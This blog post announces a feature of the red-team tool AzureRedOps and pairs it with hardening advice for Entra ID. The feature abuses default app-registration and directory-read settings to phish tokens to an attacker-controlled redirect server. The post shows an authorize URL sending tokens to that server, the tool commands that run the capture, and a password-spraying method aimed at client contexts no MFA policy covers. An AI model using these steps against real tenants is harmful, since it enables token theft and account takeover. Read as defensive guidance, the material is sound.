Defaults are where security goes to quietly die. Nobody chooses them, nobody reviews them, and yet they decide what a stranger can do inside your tenant on day one. Azure Entra ID is a perfect example. Out of the box, an ordinary user - no admin role, no special grant, just a regular account - can register their own application and read the entire directory. Microsoft turned those switches on for you, and most tenants never turn them off.
That is not a hypothetical. It is a red team primitive, and this week it became a one-command primitive. I pushed a small but significant update to AzureRedOps that turns those defaults into a clean, trusted phishing channel. Let me walk you through why it works and, more importantly, how to make sure it does not work against you.
The two switches that matter
Every Entra ID tenant ships with a set of user settings that are permissive by default. Two of them do most of the damage here:
-
allowedToCreateAppslets any user register an application in the tenant. It is enabled by default. -
allowedToReadOtherUserslets any user enumerate and read information about every other user in the directory. It is also set totrueby default.
Read those two lines again. A single compromised low-privilege account can register software in your name and hand the attacker a full roster of everyone else to aim at. The picture below shows the default configuration, which allows all of these actions.
What the new AzureRedOps feature does
Here is the update. You can now register an application in the target tenant, as long as the user
is permitted to do so through allowedToCreateApps - which, as we just covered, is
enabled by default. The registered application is given a redirect URL pointing to a server you
control, so when a victim authenticates, their tokens land at your location instead of staying
with Microsoft.
The clever part is where the application lives. Because it is registered inside the target tenant,
it shows up as a trusted, first-party-looking application to every user in that tenant. That makes
it an ideal vector for targeted phishing against other users - and if
allowedToReadOtherUsers is enabled (again, the default), the attacker can enumerate
and extract user information to build the exact target list they want to hit.
Why the trust factor is so strong
The strength of this technique lies entirely in trust. The user sees an application that belongs to their own tenant. There is no unfamiliar third party asking for consent, and, crucially, the authentication request does not rely on the well-known device login workflow that trained users have started to distrust. There is no "enter this code on microsoft.com/devicelogin" moment that makes a careful person pause. Instead, it simply sends a normal-looking authorization request to the standard Microsoft sign-in endpoint:
https://login.microsoftonline.com/{tenant}/oauth2/v2.0/authorize
?client_id={your_registered_app}
&redirect_uri=https://your-server/callback
&response_type=token
&scope=...
From the victim's point of view this is just their own company signing them in. The
client_id resolves to an app in their tenant, the domain is Microsoft's real login
host, and the token quietly ends up at the redirect_uri you chose.
Using the feature
It is deliberately simple. Register the application with the new option, then start the capture server that is now shipped in the repository:
python AzureRedOps.py register-app
python CaptureServer.py
register-app creates the application in the target tenant and wires up your redirect
URL. CaptureServer.py, new in the repo, listens at that redirect location and records
the tokens as they arrive. Both live in the
AzureRedOps repository if you want to
read the code and follow along.
The MFA policy that only looks enforced
Here is the part that catches even security-conscious teams off guard. Most organisations believe they "have MFA enabled", and on paper they do. But MFA in Entra ID is not a single global switch. It is enforced through Conditional Access policies, and those policies are scoped: to specific users, specific applications, specific client platforms, and specific sign-in surfaces. Anything outside that scope authenticates with a password alone. If your policy does not cover every context, you do not have MFA. You have MFA in the places you happened to remember.
Attackers know exactly where to look. Entra ID trusts a long list of Microsoft first-party client
applications, each with its own well-known client_id. A password spray does not have
to target the polished web sign-in page that your Conditional Access policy protects. It can
request a token against one of those built-in clients instead, and if no MFA policy covers that
particular client or resource, a single valid password is enough to get in. No second factor is
ever requested.
The screenshot below is AzureRedOps spraying exactly this way. Watch the pattern: some clients come
back interaction_required and fail, because an MFA policy does cover them. But others -
the Microsoft Authenticator App client, Azure Active Directory Connect, Microsoft Docs - return
login successful with nothing but a password. Same user, same tenant, same credential.
The only thing that changed was which application context the request pretended to come from.
Once one of those password-only logins succeeds, the token that comes back can carry real scope.
In the run above the successful sessions returned permissions like
Directory.Read.All and Application.ReadWrite.All, enough to enumerate
every user and manipulate applications - which loops straight back to the registration abuse we
started with. A single unprotected client context can undo the MFA you thought was covering the
whole tenant.
The fix is to make MFA truly universal. Build Conditional Access policies that require multifactor authentication for all users across all cloud applications, with no convenience carve-outs, and explicitly block or restrict legacy and non-interactive authentication flows that cannot present a second factor. Then test it the way an attacker would, by trying to authenticate through the client contexts you were not thinking about.
Do not underestimate application creation
It is easy to file "users can register apps" under harmless convenience. Do not. The ability to create applications is a genuinely powerful capability, and it should be disabled unless it is explicitly required. Users without privileged roles have no business registering applications in your Azure tenant, and every account that can do so is a potential launch point for exactly the attack described above.
Concretely, this means two changes worth making today:
-
Set
allowedToCreateAppsto No for standard users and grant application-registration rights only to specific roles that actually need them. -
Review your default policies end to end. Tighten
allowedToReadOtherUsers, restrict guest access, and treat every permissive default as guilty until proven necessary. Make your baseline as hardened and restrictive as it can be while still letting people do their jobs.
Conclusion: go review your configuration
The uncomfortable truth is that most tenants are wide open not because someone made a bad decision, but because nobody ever made a decision at all. The defaults decided for them. AzureRedOps now makes that gap trivial to exploit, and the only reliable answer is on the defensive side.
So take this as your prompt: go and review your Azure and Entra ID configuration now. Open the user settings, check who can register applications, check who can read the directory, walk your default policies, and turn off everything that is on for no reason. Assume an attacker will find the one switch you left flipped, because tools like this one are built to do exactly that. A few minutes in the portal today is far cheaper than a captured token tomorrow.